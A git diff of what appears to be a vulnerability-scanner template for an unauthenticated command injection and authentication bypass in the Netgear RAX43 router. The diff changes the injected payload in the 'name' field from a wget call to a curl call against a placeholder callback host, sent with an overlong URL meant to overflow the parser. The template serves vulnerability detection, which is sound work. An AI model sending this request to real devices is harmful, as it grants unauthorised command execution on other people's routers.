diff --git a/cves/2021/CVE-2021-20167.yaml b/cves/2021/CVE-2021-20167.yaml index a1546ba8b4..e5021fb617 100644 --- a/cves/2021/CVE-2021-20167.yaml +++ b/cves/2021/CVE-2021-20167.yaml @@ -2,9 +2,9 @@ id: CVE-2021-20167 info: name: Netgear RAX43 - Unauthenticated Command Injection / Authentication Bypass Buffer Overrun via LAN Interface - description: This vulnerability uses a combination of CVE-2021-20166 and CVE-2021-20167. Netgear RAX43 version 1.0.3.96 contains a command injection and authbypass vulnerability. The readycloud cgi application is vulnerable to command injection in the name parameter. and The URL parsing functionality in the cgi-bin endpoint of the router containers a buffer overrun issue that can redirection control flow of the applicaiton. author: gy741 severity: critical + description: This vulnerability uses a combination of CVE-2021-20166 and CVE-2021-20167. Netgear RAX43 version 1.0.3.96 contains a command injection and authbypass vulnerability. The readycloud cgi application is vulnerable to command injection in the name parameter. and The URL parsing functionality in the cgi-bin endpoint of the router containers a buffer overrun issue that can redirection control flow of the applicaiton. reference: - https://www.tenable.com/security/research/tra-2021-55 - https://nvd.nist.gov/vuln/detail/CVE-2021-20166 @@ -22,7 +22,7 @@ requests: POST /cgi-bin/readycloud_control.cgi?1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111/api/users HTTP/1.1 Host: {{Hostname}} - "name":"';$(wget http://{{interactsh-url}});'", + "name":"';$(curl http://{{interactsh-url}});'", "email":"a@b.c" matchers: